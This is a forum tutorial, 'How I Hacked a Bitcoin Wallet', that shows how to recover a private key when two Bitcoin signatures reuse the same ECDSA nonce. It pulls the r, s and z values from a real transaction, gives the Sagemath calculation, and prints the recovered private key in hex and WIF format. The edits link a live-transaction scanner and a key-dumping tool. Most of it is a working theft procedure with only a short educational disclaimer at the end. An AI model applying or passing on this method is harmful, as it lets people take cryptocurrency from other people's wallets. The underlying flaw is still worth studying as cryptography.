How I Hacked a Bitcoin Wallet: Complete Guide

This is an old vulnerability but still is around. Not many bitcoin companies/wallets will re-use values these days when signing transactions, but people who are creating new copies of old coins and wallets generally don’t know about this vulnerability. While researching this, I discovered that a lot of Russian bitcoin hackers have coded bots to automatically grab coins from vulnerable addresses of this type and others as mentioned at the beginning of this tutorial.

Edit (07/01/2020): It seems 2coin.org has been down for quite a long time and no one seemed to have informed me. We have Sean Bradley (the original owner of 2coin.org) to thank for managing to create another version of the same website. Head over to https://2xoin.com/getRSZfromRawTX/ to find the values.

Edit (03/12/2020): Please make sure to read Cryptocurrency: Frequently Asked Questions if your soul purpose of visit here is to recover bitcoin or anything in that matter.

Edit (26/12/2020): I don’t have an infinite amount of time but I will try my best to help when I am free to do so. If you need my help, register, reply to this thread or make a new thread. I will make sure to reply as soon as possible. :slightly_smiling_face:

Edit (23/12/2020): I have created a Web Socket listener for bitcoin transactions to test this vulnerability. Here is the link: https://avalerionv.github.io. You only need to navigate to the website and keep it running in the browser. If the script finds any vulnerable transaction, it will be displayed on the page. Although I had no luck with scanning 1,000,000 new transactions, you may try it to test your luck. Source: GitHub - AvalerionV/bitcoin-bruteforce: WebSocket listener for BTC to test transactions vulnerability!

Edit (11/11/2020): For those interested in studying this vulnerability here is a more complete proof-of-concept version of the same method in Python: bitcoin-recover-privkey/ProofOfConcept.py at master · daedalus/bitcoin-recover-privkey · GitHub

Here are some ways that a bitcoin address or wallet may be vulnerable:

  • A private key is created with a common password such as “123456”.
  • A simple copy/paste mistake. A transaction is created with non-standard outputs.
  • A random number generator was used wrong or produced the same output.
  • The private key was posted publicly.

We are going to be talking about a transaction with a broken random number generator (string). These addresses re-use certain values in a transaction due to poor knowledge, programming errors, or a broken random number generator.

Take a look at this transaction: Blockchain.com Explorer | BTC | ETH | BCH

There are two inputs and one output in this script. This is alright. Inputs are pointers to outputs of previous transactions. Outputs are, at the basic, an amount and an address.

Taking a closer look at the inputs of these scripts we notice that they are similar.

ScriptSig: PUSHDATA(71)[30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e01] PUSHDATA(65)[04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff]
ScriptSig: PUSHDATA(71)[30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab01] PUSHDATA(65)[04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff]

The beginning of the scripts contain the signatures (defined as ‘r’ and ‘s’). The end of the script is the hex public key. So we have:

r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab

It turns out that the r values in the scripts are exactly the same. This means we can derive the private key.
Now for some math equations:

Bitcoin Private Key = (z1*s2 - z2*s1)/(r*(s1-s2))

We have the r and s values, now we need to find the z1 and z2 values.

Go here: https://2coin.org/

Enter in our transaction ID: 9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1

Scroll down to find the z values.

We find:

z1 = c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e

z2 = 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc

Bitcoin uses an elliptical curve for generating public keys. The order of the curve is secp256k1.

p = parameter for the secp256k1 curve. So
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

We will need to create a finite field for the calculation.

K = GF(p)

Now that we have all the information we need, we can run our calculations.

We’ll use Sagemath: http://www.sagemath.org/

I will be using the cloud version. Make sure you input all of our equations:

p  = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
r  = 0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
s1 = 0x44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
s2 = 0x9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab
z1 = 0xc0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2 = 0x17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc

K = GF(p)

K((z1*s2 - z2*s1)/(r*(s1-s2)))

Click run.

The calculation outputs:

88865298299719117682218467295833367085649033095698151055007620974294165995414

Now we will convert it from decimal to hex. You can do so here: https://www.rapidtables.com/convert/number/decimal-to-hex.html

Our private key in hex is:

C477F9F65C22CCE20657FAA5B2D1D8122336F851A508A1ED04E479C34985BF96

You can use our official tool Project Xerotic: v0.0.3-beta.0 (Bitcoin Dumper Utility) to convert private key in hex to WIF (wallet import format): https://flaw.tech/topic/3/project-xerotic-v0-0-3-beta-0-bitcoin-dumper-utility

Our private key in WIF is:

5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ

Hope this tutorial sparks some interest in people!

FAQ Section

How do I get RAW transaction?

You can get the raw transaction by using the bitcoin-cli. For example: getrawtransaction 9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1

If you don’t have Bitcoin client installed, you can use this website: bitcoin-cli getrawtransaction – ChainQuery

When you have the RAW transaction then use https://2xoin.com/getRSZfromRawTX/ to get R, S and Z values.

Why can’t I find R, S, & Z values for some transactions?

ECDSA requires a random number for each signature. If this random number is ever used twice with the same private key it can be recovered. This transaction was generated by a hardware bitcoin wallet using a pseudo-random number generator that was returning the same “random” number every time. You can’t get the values for some transactions because this method is old now and pretty much patched.

This guide isn’t meant for you to be able to hack bitcoin wallets but to educate you that it can happen.

(post deleted by author)

Hello, @Avalerion. I think both 2xoin.com and 2coin.org are not available for now. Is there any alternative ways to find these values?